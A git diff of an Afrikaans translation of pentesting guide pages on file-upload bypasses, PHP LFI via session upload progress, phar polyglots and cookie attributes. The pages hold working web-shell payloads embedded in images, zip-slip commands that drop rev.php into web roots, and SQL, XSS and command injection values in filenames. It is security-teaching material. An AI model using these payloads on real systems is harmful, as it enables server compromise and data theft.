-Let op hoe die **magic bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **te omseil** **moontlike** lêer **oplaai** **beperkings**.\
+Let op hoe die **magic bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **miskien** lêer **oplaai** **beperkings** te **omseil**.\
 **Compileer** die `test.phar` lêer met:
 ```bash
 php --define phar.readonly=0 create_phar.php

src/pentesting-web/file-inclusion/via-php_session_upload_progress.md

@@ -4,7 +4,7 @@
 
 ## Basiese Inligting
 
-As jy 'n **Local File Inclusion** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Af`. As **`session.upload_progress.enabled`** is **`Aan`** en jy verskaf die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, sal PHP **die sessie vir jou aktiveer**.
+As jy 'n **Local File Inclusion** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As **`session.upload_progress.enabled`** is **`On`** en jy verskaf die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, sal PHP **die sessie vir jou aktiveer**.
 ```bash
 $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
 $ ls -a /var/lib/php/sessions/
@@ -18,10 +18,10 @@ $ ls -a /var/lib/php/sessions/
 
 In the last example the session will contain the string blahblahblah
 ```
-Let daarop dat jy met **`PHP_SESSION_UPLOAD_PROGRESS`** **data binne die sessie kan beheer**, so as jy jou sessie lêer insluit, kan jy 'n deel insluit wat jy beheer (soos 'n php shellcode).
+Let wel dat jy met **`PHP_SESSION_UPLOAD_PROGRESS`** **data binne die sessie kan beheer**, so as jy jou sessie lêer insluit, kan jy 'n deel insluit wat jy beheer (soos 'n php shellcode).
 
 > [!NOTE]
-> Alhoewel die meeste tutorials op die Internet aanbeveel om `session.upload_progress.cleanup` op `Off` te stel vir foutopsporing, is die standaard `session.upload_progress.cleanup` in PHP steeds `On`. Dit beteken jou oplaai vordering in die sessie sal so gou as moontlik skoongemaak word. So dit sal **Race Condition** wees.
+> Alhoewel die meeste tutorials op die Internet jou aanbeveel om `session.upload_progress.cleanup` op `Off` te stel vir foutopsporing. Die standaard `session.upload_progress.cleanup` in PHP is steeds `On`. Dit beteken jou oplaai vordering in die sessie sal so gou as moontlik skoongemaak word. So dit sal **Race Condition** wees.
 
 ### Die CTF
 

src/pentesting-web/file-upload/README.md

@@ -18,7 +18,7 @@ Ander nuttige uitbreidings:
 
 ### Oorbrug lêer uitbreidings kontrole
 
-1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
+1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
 2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
 - _file.png.php_
 - _file.png.Php5_
@@ -32,7 +32,7 @@ Ander nuttige uitbreidings:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
+4. Probeer om die beskermings te omseil deur die **uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -44,9 +44,9 @@ Ander nuttige uitbreidings:
 5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
+6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
 - _bv: file.php.png_
-7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
+7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
 8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
 
 ```
@@ -60,42 +60,42 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Oorbrug Inhoud-Tipe, Magic Number, Kompressie & Hervergroting
+### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Herverhouding
 
-- Oorbrug **Inhoud-Tipe** kontroles deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
+- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
 1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Oorbrug **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
+- Oorbrug **magic nommer** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 - As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
 - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- Die webblad kan ook die **beeld** **herverhouding**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
 - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- 'n Ander tegniek om 'n payload te maak wat **kompressie oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- 'n Ander tegniek om 'n payload te maak wat **'n beeld herverhouding oorleef**, deur die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
 - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Ander Trukke om te kontroleer
+### Ander Tricks om te kontroleer
 
 - Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
 - Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
 - **Mogelijke Inligting openbaar**:
-1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam**
+1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
 2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
 3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
 4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
 5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
 6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
-- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
+- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
 
-### Spesiale uitbreiding truuks
+### Spesiale uitbreiding tricks
 
-As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
-As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** trick om kode uit te voer](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
+As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** trick om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
 Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
 
-Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
 
 ## **Jetty RCE**
 
@@ -107,7 +107,7 @@ As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
 
 Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
+Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
 
 Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
 ```ini
@@ -133,8 +133,8 @@ Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontle
 
 ## **wget Lêer Laai/SSRF Trick**
 
-In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
+In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
+Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -165,21 +165,21 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil
 
 ## Van lêer oplaad na ander kwesbaarhede
 
-- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
+- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
 - Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL inspuiting** te bereik
 - Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
 - Stel **lêernaam** in op `; sleep 10;` om 'n paar opdrag inspuiting te toets (meer [opdrag inspuiting truuks hier](../command-injection.md))
 - [**XSS** in beeld (svg) lêer oplaad](../xss-cross-site-scripting/#xss-uploading-files-svg)
-- **JS** lêer **oplaad** + **XSS** = [**Dienswerkers** benutting](../xss-cross-site-scripting/#xss-abusing-service-workers)
+- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/#xss-abusing-service-workers)
 - [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
-- [**Open Herlei** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
+- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
 - Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 - As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n of ander **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
 - [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
 - Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF data in te spuit om JS uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
 - Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
-- Kyk of daar enige **grootte limiet** is wanneer jy lêers oplaai
+- Kyk of daar enige **grootte limiet** is wanneer lêers opgelaai word
 
 Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
@@ -189,8 +189,8 @@ Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](ht
 4. **CSV**: CSV inspuiting
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : HTML inspuiting / XSS / Open herlei
-8. **PNG / JPEG**: Pixel oorstroming aanval (DoS)
+7. **HTML / JS** : HTML inspuiting / XSS / Open redirect
+8. **PNG / JPEG**: Pixel flood aanval (DoS)
 9. **ZIP**: RCE via LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
@@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decomprimeer in verskillende vouers
 
-Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
+Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gids traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
 
 'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
 ```python
@@ -230,7 +230,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
 Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
 
-Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
+Hieronder is 'n voorbeeld van Python kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -269,7 +269,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
+3.  **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om deur gidse te beweeg.
 
 ```bash
 :set modifiable
@@ -288,7 +288,7 @@ pop graphic-context
 ```
 ## Inbedde PHP Shell in PNG
 
-Inbedde 'n PHP-shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP-shell om onaangeraak te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
+Inbedde 'n PHP-shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP-shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
 
 'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
 
@@ -296,11 +296,11 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
 
 ## Polyglot Lêers
 
-Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
+Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
 
-Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
+Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe filter. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
 
-Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
+Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
 
 Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 

src/pentesting-web/hacking-with-cookies/README.md

@@ -12,7 +12,7 @@ Die vervaldatum van 'n koekie word bepaal deur die `Expires` attribuut. Omgekeer
 
 ### Domein
 
-Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` attribuut. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` attribuut egter eksplisiet ingestel is, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
+Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` attribuut. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` attribuut egter eksplisiet ingestel is, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel, maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
 
 ### Pad
 
@@ -34,15 +34,15 @@ Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuu
 
 Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie attribuut help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
 
-| **Versoek tipe** | **Voorbeeld kode**                   | **Koekies gestuur wanneer** |
+| **Versoektipe** | **Voorbeeldkode**                   | **Koekies Gestuur Wanneer** |
 | ---------------- | ---------------------------------- | --------------------- |
-| Skakel           | \<a href="...">\</a>               | NotSet\*, Lax, Geen   |
-| Prerender        | \<link rel="prerender" href=".."/> | NotSet\*, Lax, Geen   |
-| Vorm GET         | \<form method="GET" action="...">  | NotSet\*, Lax, Geen   |
-| Vorm POST        | \<form method="POST" action="..."> | NotSet\*, Geen        |
-| iframe           | \<iframe src="...">\</iframe>      | NotSet\*, Geen        |
-| AJAX             | $.get("...")                       | NotSet\*, Geen        |
-| Beeld            | \<img src="...">                   | NetSet\*, Geen        |
+| Skakel             | \<a href="...">\</a>               | NotSet\*, Lax, None   |
+| Prerender        | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None   |
+| Vorm GET         | \<form method="GET" action="...">  | NotSet\*, Lax, None   |
+| Vorm POST        | \<form method="POST" action="..."> | NotSet\*, None        |
+| iframe           | \<iframe src="...">\</iframe>      | NotSet\*, None        |
+| AJAX             | $.get("...")                       | NotSet\*, None        |
+| Beeld            | \<img src="...">                   | NetSet\*, None        |
 
 Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens gewysig.\
 'n Koekie met _**SameSite**_ attribuut sal **CSRF-aanvalle verminder** waar 'n ingelogde sessie nodig is.
@@ -58,17 +58,17 @@ Dit verhoed die **klient** om toegang tot die koekie te verkry (Via **Javascript
 
 #### **Omseilings**
 
-- As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
+- As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
